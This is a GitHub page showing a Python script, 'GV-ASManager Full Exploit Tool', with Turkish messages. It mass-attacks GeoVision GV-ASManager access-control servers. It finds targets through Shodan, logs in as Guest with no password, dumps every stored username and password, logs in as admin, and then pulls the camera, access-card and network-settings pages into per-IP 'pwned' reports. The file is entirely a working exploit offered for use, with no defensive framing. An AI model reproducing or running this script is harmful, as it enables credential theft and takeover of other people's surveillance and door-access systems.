-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit_tool.py
More file actions
224 lines (195 loc) · 8.46 KB
/
exploit_tool.py
File metadata and controls
224 lines (195 loc) · 8.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
import shodan
import requests
import urllib3
import re
import time
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SHODAN_API_KEY = "Shodan_API"
def shodan_search(query, limit=10):
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search(query)
ip_list = [match['ip_str'] for match in results['matches'][:limit]]
return ip_list
except Exception as e:
print(f"[!] Shodan error: {e}")
return []
def load_targets(filename):
try:
with open(filename, "r", encoding="utf-8") as f:
targets = [line.strip() for line in f if line.strip()]
return targets
except Exception as e:
print(f"[!] Hedefler yüklenirken bir hata oluştu: {e}")
return []
def guest_login(target_url):
login_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
}
data = "action=Login&UserID=Guest&Password=&node=xnode-98"
try:
session = requests.Session()
response = session.post(login_url, headers=headers, data=data, verify=False, timeout=10)
if response.status_code == 200 and "Success" in response.text:
print("[+] Guest girişi başarılı.")
return session
else:
print("[-] Guest giriş hatalı.")
return None
except Exception as e:
print(f"[!] Oturum açma hatası: {e}")
return None
def exploit_geovision(session, target_url):
exploit_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
}
data = "action=UA_GetAllUserAccount&node=xnode-98"
try:
response = session.post(exploit_url, headers=headers, data=data, verify=False, timeout=10)
if response.status_code == 200 and "UserID" in response.text and "Password" in response.text:
users = extract_users(response.text)
return users
else:
return None
except Exception as e:
print(f"[!] Exploit hatası: {e}")
return None
def extract_users(text):
user_pattern = r'"UserID"\s*:\s*"([^"]+)"'
password_pattern = r'"Password"\s*:\s*"([^"]*)"'
usernames = re.findall(user_pattern, text)
passwords = re.findall(password_pattern, text)
return list(zip(usernames, passwords))
def find_admin(users):
for username, password in users:
if username.lower() == "admin":
return username, password
return None, None
def admin_login(target_url, admin_username, admin_password):
login_url = target_url.rstrip("/") + "/ASWeb/bin/ASWebCommon.srf"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
}
data = f"action=Login&UserID={admin_username}&Password={admin_password}&node=xnode-98"
try:
session = requests.Session()
response = session.post(login_url, headers=headers, data=data, verify=False, timeout=10)
if response.status_code == 200 and "Success" in response.text:
print(f"[+] Yönetici: {admin_username}:{admin_password} bilgileri ile giriş başarılı.")
return session
else:
print("[-] Admin girişi başarısız.")
return None
except Exception as e:
print(f"[!] Admin girişi esnasında bir hata oluştu: {e}")
return None
def pull_camera_list(session, target_url):
try:
url = target_url.rstrip("/") + "/VMWeb/CameraList.aspx"
response = session.get(url, verify=False, timeout=10)
if response.status_code == 200:
return "[+] Kamera listesine erişim başarılı!"
else:
return f"[-] Kamera listesi çekilemedi. Hata Kodu: {response.status_code}"
except Exception as e:
return f"[!] Kamera listesi çekilirken hata oluştu: {e}"
def pull_card_list(session, target_url):
try:
url = target_url.rstrip("/") + "/ASWeb/CardList.aspx"
response = session.get(url, verify=False, timeout=10)
if response.status_code == 200:
return "[+] Erişim kartı listesine erişim sağlandı."
else:
return f"[-] Erişim kartı listesi çekilemedi. Hata Kodu: {response.status_code}"
except Exception as e:
return f"[!] Kart listesi çekilirken hata oluştu: {e}"
def pull_network_info(session, target_url):
try:
url = target_url.rstrip("/") + "/ASWeb/NetworkSetting.aspx"
response = session.get(url, verify=False, timeout=10)
if response.status_code == 200:
return "[+] Ağ ayarlarına erişim sağlandı!"
else:
return f"[-] Ağ ayarlarını çekme başarısız oldu. Hata Kodu: {response.status_code}"
except Exception as e:
return f"[!] Ağ bilgileri alınırken hata oluştu: {e}"
def process_targets(ip_list):
for ip in ip_list:
print(f"\n[>] Hedef: {ip}")
target = f"https://{ip}"
session = guest_login(target)
if session:
users = exploit_geovision(session, target)
if users:
print("[+] Bulunan kullanıcılar:")
for username, password in users:
print(f" {username} : {password}")
admin_username, admin_password = find_admin(users)
if admin_username:
admin_session = admin_login(target, admin_username, admin_password)
if admin_session:
camera_status = pull_camera_list(admin_session, target)
card_status = pull_card_list(admin_session, target)
network_status = pull_network_info(admin_session, target)
print(camera_status)
print(card_status)
print(network_status)
save_report(ip, users, camera_status, card_status, network_status)
else:
print("[-] Admin hesabı bulunamadı.")
else:
print("[-] Hiçbir kullanıcı çıkarılmadı, güvenlik açığı yok.")
else:
print("[-] Misafir girişi başarısız oldu.")
time.sleep(2)
def save_report(ip, users, camera_status, card_status, network_status):
report_name = f"full_pwned_report_{ip.replace('.', '_')}.txt"
with open(report_name, "w", encoding="utf-8") as f:
f.write(f"Report for {ip}\n")
f.write("=" * 40 + "\n\n")
f.write("Bulunan kullanıcılar:\n")
for user, password in users:
f.write(f"Kullanıcı adı: {user} | Şifre: {password}\n")
f.write("\n")
f.write(f"Kamera Listesi Durumu: {camera_status}\n")
f.write(f"Kart Listesi Durumu: {card_status}\n")
f.write(f"Ağ Bilgi Durumu: {network_status}\n")
print(f"[+] {report_name} adı ile rapor kaydedildi.")
if __name__ == "__main__":
print("""
╔═════════════════════════════════════════════════════╗
║ GV-ASManager Full Exploit Tool via ieozfr / Emir ║
╚═════════════════════════════════════════════════════╝
Bir seçenek seçin:
[1] Shodan API'sini kullanarak hedefleri arayın.
[2] Hedefleri targets.txt dosyasından yükleyin.
""")
choice = input("Seçiminiz (1/2): ").strip()
if choice == "1":
print("[*] Shodan'da aranıyor...")
query = 'title:"GV-ASManager"'
ip_list = shodan_search(query, limit=10)
if ip_list:
print(f"[+] {len(ip_list)} IP adresleri bulundu.")
process_targets(ip_list)
else:
print("[-] Hiçbir IP bulunamadı veya Shodan hatası.")
elif choice == "2":
print("[*] Hedefler targets.txt'dan yükleniyor...")
ip_list = load_targets("targets.txt")
if ip_list:
print(f"[+] {len(ip_list)} hedef yüklendi.")
process_targets(ip_list)
else:
print("[-] Hiçbir hedef yüklenmedi veya dosya eksik değil.")
else:
print("[-] Geçersiz seçim. Çıkılıyor...")